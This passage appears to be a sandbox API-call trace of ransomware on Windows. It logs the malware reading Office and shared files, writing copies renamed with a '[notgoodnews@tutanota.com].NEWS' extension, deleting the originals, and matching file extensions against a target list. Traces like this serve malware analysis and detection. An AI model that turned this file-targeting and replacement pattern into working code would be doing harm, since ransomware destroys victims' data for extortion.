lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0049.232] ReadFile (in: hFile=0x1f8, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.232] WriteFile (in: hFile=0x200, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.232] SetEndOfFile (hFile=0x200) returned 1 [0049.232] CloseHandle (hObject=0x200) returned 1 [0049.283] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.283] SetEndOfFile (hFile=0x1f8) returned 1 [0049.293] CloseHandle (hObject=0x1f8) returned 1 [0049.294] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0049.294] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0049.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0049.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0049.389] lstrlenW (lpString=".doc") returned 4 [0049.389] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.389] lstrlenW (lpString=".docx") returned 5 [0049.390] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0049.390] lstrlenW (lpString=".pdf") returned 4 [0049.390] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.390] lstrlenW (lpString=".xls") returned 4 [0049.390] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.390] lstrlenW (lpString=".xlsx") returned 5 [0049.390] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0049.390] lstrlenW (lpString=".ppt") returned 4 [0049.390] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0049.390] lstrlenW (lpString=".zip") returned 4 [0049.390] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.390] lstrlenW (lpString=".rar") returned 4 [0049.390] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.390] lstrlenW (lpString=".bz2") returned 4 [0049.390] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.390] lstrlenW (lpString=".7z") returned 3 [0049.390] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0049.390] lstrlenW (lpString=".dbf") returned 4 [0049.390] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.391] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0049.391] lstrlenW (lpString=".1cd") returned 4 [0049.391] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.391] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0049.391] lstrlenW (lpString=".jpg") returned 4 [0049.391] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.391] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0049.391] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0049.391] lstrlenW (lpString=".doc") returned 4 [0049.391] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.391] lstrlenW (lpString=".docx") returned 5 [0049.391] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0049.391] lstrlenW (lpString=".pdf") returned 4 [0049.391] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.391] lstrlenW (lpString=".xls") returned 4 [0049.391] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.391] lstrlenW (lpString=".xlsx") returned 5 [0049.391] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0049.391] lstrlenW (lpString=".ppt") returned 4 [0049.391] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.392] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0049.392] lstrlenW (lpString=".zip") returned 4 [0049.392] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.392] lstrlenW (lpString=".rar") returned 4 [0049.392] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.392] lstrlenW (lpString=".bz2") returned 4 [0049.392] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.392] lstrlenW (lpString=".7z") returned 3 [0049.392] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.392] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0049.392] lstrlenW (lpString=".dbf") returned 4 [0049.392] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.392] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0049.392] lstrlenW (lpString=".1cd") returned 4 [0049.392] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.392] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0049.392] lstrlenW (lpString=".jpg") returned 4 [0049.392] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.393] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0049.393] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0049.393] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0049.393] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=819) returned 1 [0049.393] CloseHandle (hObject=0x1a4) returned 1 [0049.393] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0049.393] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0049.393] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0049.393] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.394] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.394] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0049.999] GetLastError () returned 0x0 [0049.999] ReadFile (in: hFile=0x1a4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x333, lpOverlapped=0x0) returned 1 [0050.154] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x340, lpOverlapped=0x0) returned 1 [0050.156] ReadFile (in: hFile=0x1a4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.156] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0050.156] SetEndOfFile (hFile=0x1e8) returned 1 [0050.156] CloseHandle (hObject=0x1e8) returned 1 [0050.157] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.157] SetEndOfFile (hFile=0x1a4) returned 1 [0050.159] CloseHandle (hObject=0x1a4) returned 1 [0050.159] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0050.159] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0050.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0050.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0050.160] lstrlenW (lpString=".doc") returned 4 [0050.160] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.160] lstrlenW (lpString=".docx") returned 5 [0050.160] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0050.160] lstrlenW (lpString=".pdf") returned 4 [0050.160] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.160] lstrlenW (lpString=".xls") returned 4 [0050.160] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.160] lstrlenW (lpString=".xlsx") returned 5 [0050.160] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0050.160] lstrlenW (lpString=".ppt") returned 4 [0050.160] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0050.160] lstrlenW (lpString=".zip") returned 4 [0050.160] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.160] lstrlenW (lpString=".rar") returned 4 [0050.160] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.160] lstrlenW (lpString=".bz2") returned 4 [0050.160] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.160] lstrlenW (lpString=".7z") returned 3 [0050.161] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0050.161] lstrlenW (lpString=".dbf") returned 4 [0050.161] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0050.161] lstrlenW (lpString=".1cd") returned 4 [0050.161] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0050.161] lstrlenW (lpString=".jpg") returned 4 [0050.161] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0050.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0050.161] lstrlenW (lpString=".doc") returned 4 [0050.161] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.161] lstrlenW (lpString=".docx") returned 5 [0050.161] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0050.161] lstrlenW (lpString=".pdf") returned 4 [0050.161] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.161] lstrlenW (lpString=".xls") returned 4 [0050.161] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.161] lstrlenW (lpString=".xlsx") returned 5 [0050.162] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0050.162] lstrlenW (lpString=".ppt") returned 4 [0050.162] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0050.162] lstrlenW (lpString=".zip") returned 4 [0050.162] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.162] lstrlenW (lpString=".rar") returned 4 [0050.162] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.162] lstrlenW (lpString=".bz2") returned 4 [0050.162] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.162] lstrlenW (lpString=".7z") returned 3 [0050.162] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0050.162] lstrlenW (lpString=".dbf") returned 4 [0050.162] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0050.162] lstrlenW (lpString=".1cd") returned 4 [0050.162] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0050.162] lstrlenW (lpString=".jpg") returned 4 [0050.162] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.302] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0050.302] lstrlenW (lpString="MS.GIF") returned 6 [0050.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.374] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=1069) returned 1 [0050.374] CloseHandle (hObject=0x20c) returned 1 [0050.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0050.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0050.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.375] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.375] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0050.375] GetLastError () returned 0x0 [0050.375] ReadFile (in: hFile=0x20c, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x42d, lpOverlapped=0x0) returned 1 [0050.390] WriteFile (in: hFile=0x208, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x430, lpOverlapped=0x0) returned 1 [0050.392] ReadFile (in: hFile=0x20c, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.392] WriteFile (in: hFile=0x208, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0050.392] SetEndOfFile (hFile=0x208) returned 1 [0050.392] CloseHandle (hObject=0x208) returned 1 [0050.393] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.393] SetEndOfFile (hFile=0x20c) returned 1 [0050.396] CloseHandle (hObject=0x20c) returned 1 [0050.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0050.396] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0050.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0050.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0050.396] lstrlenW (lpString=".doc") returned 4 [0050.396] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.396] lstrlenW (lpString=".docx") returned 5 [0050.396] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0050.397] lstrlenW (lpString=".pdf") returned 4 [0050.397] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.397] lstrlenW (lpString=".xls") returned 4 [0050.397] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.397] lstrlenW (lpString=".xlsx") returned 5 [0050.397] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0050.397] lstrlenW (lpString=".ppt") returned 4 [0050.397] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0050.397] lstrlenW (lpString=".zip") returned 4 [0050.397] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.397] lstrlenW (lpString=".rar") returned 4 [0050.397] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.397] lstrlenW (lpString=".bz2") returned 4 [0050.397] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.397] lstrlenW (lpString=".7z") returned 3 [0050.397] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0050.397] lstrlenW (lpString=".dbf") returned 4 [0050.397] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0050.397] lstrlenW (lpString=".1cd") returned 4 [0050.397] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0050.398] lstrlenW (lpString=".jpg") returned 4 [0050.398] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0050.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0050.398] lstrlenW (lpString=".doc") returned 4 [0050.398] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.398] lstrlenW (lpString=".docx") returned 5 [0050.398] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0050.398] lstrlenW (lpString=".pdf") returned 4 [0050.398] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.398] lstrlenW (lpString=".xls") returned 4 [0050.398] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.398] lstrlenW (lpString=".xlsx") returned 5 [0050.398] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0050.398] lstrlenW (lpString=".ppt") returned 4 [0050.398] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0050.398] lstrlenW (lpString=".zip") returned 4 [0050.398] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.398] lstrlenW (lpString=".rar") returned 4 [0050.399] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.399] lstrlenW (lpString=".bz2") returned 4 [0050.399] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.399] lstrlenW (lpString=".7z") returned 3 [0050.399] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0050.399] lstrlenW (lpString=".dbf") returned 4 [0050.399] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0050.399] lstrlenW (lpString=".1cd") returned 4 [0050.399] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0050.399] lstrlenW (lpString=".jpg") returned 4 [0050.399] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.399] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0050.399] lstrlenW (lpString="Content.xml") returned 11 [0050.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.429] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=27045) returned 1 [0050.429] CloseHandle (hObject=0x20c) returned 1 [0050.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0050.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0050.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0050.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0050.429] lstrlenW (lpString=".doc") returned 4 [0050.429] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.429] lstrlenW (lpString=".docx") returned 5 [0050.429] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0050.429] lstrlenW (lpString=".pdf") returned 4 [0050.429] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.429] lstrlenW (lpString=".xls") returned 4 [0050.429] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.430] lstrlenW (lpString=".xlsx") returned 5 [0050.430] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0050.430] lstrlenW (lpString=".ppt") returned 4 [0050.430] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0050.430] lstrlenW (lpString=".zip") returned 4 [0050.430] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.430] lstrlenW (lpString=".rar") returned 4 [0050.430] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.430] lstrlenW (lpString=".bz2") returned 4 [0050.430] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.430] 